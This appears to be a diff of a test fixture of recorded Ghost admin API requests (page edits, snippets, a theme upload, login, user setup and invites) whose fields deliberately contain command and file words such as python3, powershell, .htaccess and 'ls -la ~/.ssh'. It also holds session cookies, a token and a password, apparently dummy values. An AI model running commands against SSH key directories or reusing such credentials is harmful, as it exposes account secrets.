primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
 {"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
 {"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
@@ -762,3 +760,33 @@
 {"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
 # The requests below were sent to Ghost by a script with the admin's or a
 # member's headers. They hold words that name commands and files in more fields.
 {"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
 {"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
 {"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
 {"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
 {"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
